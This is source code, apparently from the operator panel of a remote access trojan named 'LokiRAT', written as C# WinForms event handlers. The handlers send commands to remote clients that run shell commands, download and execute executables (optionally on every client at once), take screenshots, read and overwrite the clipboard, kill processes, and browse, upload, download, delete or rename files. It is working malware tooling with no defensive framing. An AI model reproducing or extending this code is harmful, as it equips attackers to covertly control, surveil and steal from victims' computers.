private void timer1_Tick(object sender, EventArgs e) { try { if (Global.lastCommand[id] != this.myLastCommand) { this.myLastCommand = Global.lastCommand[id]; string[] rets = Regex.Split(Global.GetLastCommandText(id), "{-p}"); if (rets[0] == "LSprocess") { this.listView1.Items.Clear(); for (int i = 1; i < (rets.Length - 1); i++) { string[] pros = Regex.Split(rets[i], "{-pi}"); ListViewItem item = this.listView1.Items.Add(pros[0]); item.ImageIndex = 0; int num2 = Convert.ToInt32(pros[1]) / 0x400; item.SubItems.Add(num2.ToString() + " KB"); item.SubItems.Add(pros[2]); } } else if (rets[0] == "RSpkill") { Global.AddCommandToList(id, "process"); } } } catch (Exception ex) { } }
private void treeView1_AfterSelect(object sender, TreeViewEventArgs e) { this.listView1.Items.Clear(); this.textBox1.Text = this.treeView1.SelectedNode.FullPath + @"\"; Global.AddCommandToList(id, "list|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/"); this.toolStripTextBox2.Text = this.treeView1.SelectedNode.FullPath.Substring(this.treeView1.SelectedNode.FullPath.LastIndexOf(@"\") + 1); }
private void screenshootToolStripMenuItem_Click(object sender, EventArgs e) { foreach (ListViewItem item in listView1.SelectedItems) { Global.AddCommandToList(item.Text, "screen"); new screenshot(item.Text).Show(); } }
private void UploadToolStripMenuItem1_Click(object sender, EventArgs e) { OpenFileDialog ofd = new OpenFileDialog(); if (ofd.ShowDialog() == DialogResult.OK) { Global.AddCommandToList(id, "download|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/" + ofd.FileName.Substring(ofd.FileName.LastIndexOf(@"\") + 1) + "|" + utils.GetBytesToString(gzip.Compress(File.ReadAllBytes(ofd.FileName)))); } }
private void timer1_Tick(object sender, EventArgs e) { try { if (Global.lastCommand[id] != this.myLastCommand) { this.myLastCommand = Global.lastCommand[id]; string str = Global.GetLastCommandText(id); if (str.Substring(0, 6) == "LSlist") { int num; this.myLastCommand = Global.lastCommand[id]; this.treeView1.SelectedNode.Nodes.Clear(); string[] strArray2 = Regex.Split(str, "{-fbr}"); string[] strArray4 = Regex.Split(strArray2[0], "{-f}"); string[] strArray3 = Regex.Split(strArray2[1], "{-f}"); for (num = 1; num < (strArray4.Length - 1); num++) { this.treeView1.SelectedNode.Nodes.Add(new TreeNode(strArray4[num])); } this.treeView1.SelectedNode.Expand(); this.listView1.Items.Clear(); for (num = 0; num < (strArray3.Length - 1); num++) { string[] infos = Regex.Split(strArray3[num], "{-fi}"); ListViewItem item = this.listView1.Items.Add(infos[0]); item.ImageIndex = this.genImageFile(infos[0]); item.SubItems.Add(this.genSize(infos[1])); item.SubItems.Add(infos[2]); } } else if ((((str.Substring(0, 8) == "RSdelete") || (str.Substring(0, 10) == "RScreatdir")) || (str.Substring(0, 10) == "RSdownload")) || (str.Substring(0, 8) == "RSrename")) { Global.AddCommandToList(id, "list|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/"); } else if (str.Substring(0, 8) == "LSupload") { string fileUploadFilename = this.treeView1.SelectedNode.FullPath + "\\" + curDownFileName; string[] rets = Regex.Split(str, "{-}"); SaveFileDialog sfd = new SaveFileDialog(); sfd.FileName = curDownFileName; sfd.Filter = "All Files|*.*"; if (sfd.ShowDialog() == DialogResult.OK) { File.WriteAllBytes(sfd.FileName, gzip.Decompress(utils.GetStringToBytes(rets[1]))); } } } } catch (Exception ex) { } }
private void deleteToolStripMenuItem2_Click(object sender, EventArgs e) { try { Global.AddCommandToList(id, "delete|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/" + this.listView1.SelectedItems[0].Text); } catch { MessageBox.Show("You must select file first!", "Select file | LokiRAT", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } }
private void button3_Click(object sender, EventArgs e) { if (this.checkBox1.Checked) { Global.AddCommandToAllList("downloadexe|" + this.textBox3.Text); } else { Global.AddCommandToList(id, "downloadexe|" + this.textBox3.Text); } base.Close(); }
private void exitToolStripMenuItem_Click(object sender, EventArgs e) { for (int i = listView1.Items.Count - 1; i >= 0; i--) { if (listView1.Items[i].Selected) { Global.AddCommandToList(listView1.Items[i].Text, "close"); Global.ClientRemove(listView1.Items[i].Text); listView1.Items[i].Remove(); } } }
private void ComboBox1_KeyDown(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(comboBox1.Text.Trim())) { string input = comboBox1.Text; comboBox1.Text = string.Empty; if (input == "exit") { this.Close(); } else { textBox1.AppendText("->" + input + "\r\n"); Global.AddCommandToList(id, "shellexec|" + input); comboBox1.Items.Add(input); } e.Handled = true; e.SuppressKeyPress = true; } }
private void renameToolStripMenuItem3_Click(object sender, EventArgs e) { Global.AddCommandToList(id, "rename|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/" + this.listView1.SelectedItems[0].Text + "|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/" + this.toolStripTextBox3.Text); }
private void clearToolStripMenuItem_Click(object sender, EventArgs e) { Global.AddCommandToList(id, "clipboardset|"); this.textBox1.Clear(); }
private void renameToolStripMenuItem1_Click(object sender, EventArgs e) { Global.AddCommandToList(id, "delete|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/"); }
private void renameToolStripMenuItem2_Click(object sender, EventArgs e) { Global.AddCommandToList(id, "rename|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/|" + this.treeView1.SelectedNode.FullPath.Substring(0, this.treeView1.SelectedNode.FullPath.LastIndexOf(@"\")).Replace(@"\", "/") + "/" + this.toolStripTextBox2.Text); }
private void setToolStripMenuItem_Click(object sender, EventArgs e) { Global.AddCommandToList(id, "clipboardset|" + this.textBox1.Text); }
private void getToolStripMenuItem_Click(object sender, EventArgs e) { Global.AddCommandToList(id, "clipboard"); }
private void button2_Click(object sender, EventArgs e) { Global.AddCommandToList(id, "run|" + this.textBox2.Text); base.Close(); }
private void addNewFolderToolStripMenuItem_Click(object sender, EventArgs e) { Global.AddCommandToList(id, "creatdir|" + this.treeView1.SelectedNode.FullPath.Replace(@"\", "/") + "/" + this.toolStripTextBox1.Text + "/"); }
private void newScreenshotToolStripMenuItem_Click(object sender, EventArgs e) { Global.AddCommandToList(id, "screen"); }
private void clipboard_Load(object sender, EventArgs e) { Global.AddCommandToList(id, "clipboard"); }
private void processManager_Load(object sender, EventArgs e) { Global.AddCommandToList(id, "process"); }
private void killProcessToolStripMenuItem1_Click(object sender, EventArgs e) { Global.AddCommandToList(id, "pkill|" + this.listView1.SelectedItems[0].Text); this.listView1.Items.Clear(); }
private void reloadToolStripMenuItem1_Click(object sender, EventArgs e) { this.listView1.Items.Clear(); Global.AddCommandToList(id, "process"); }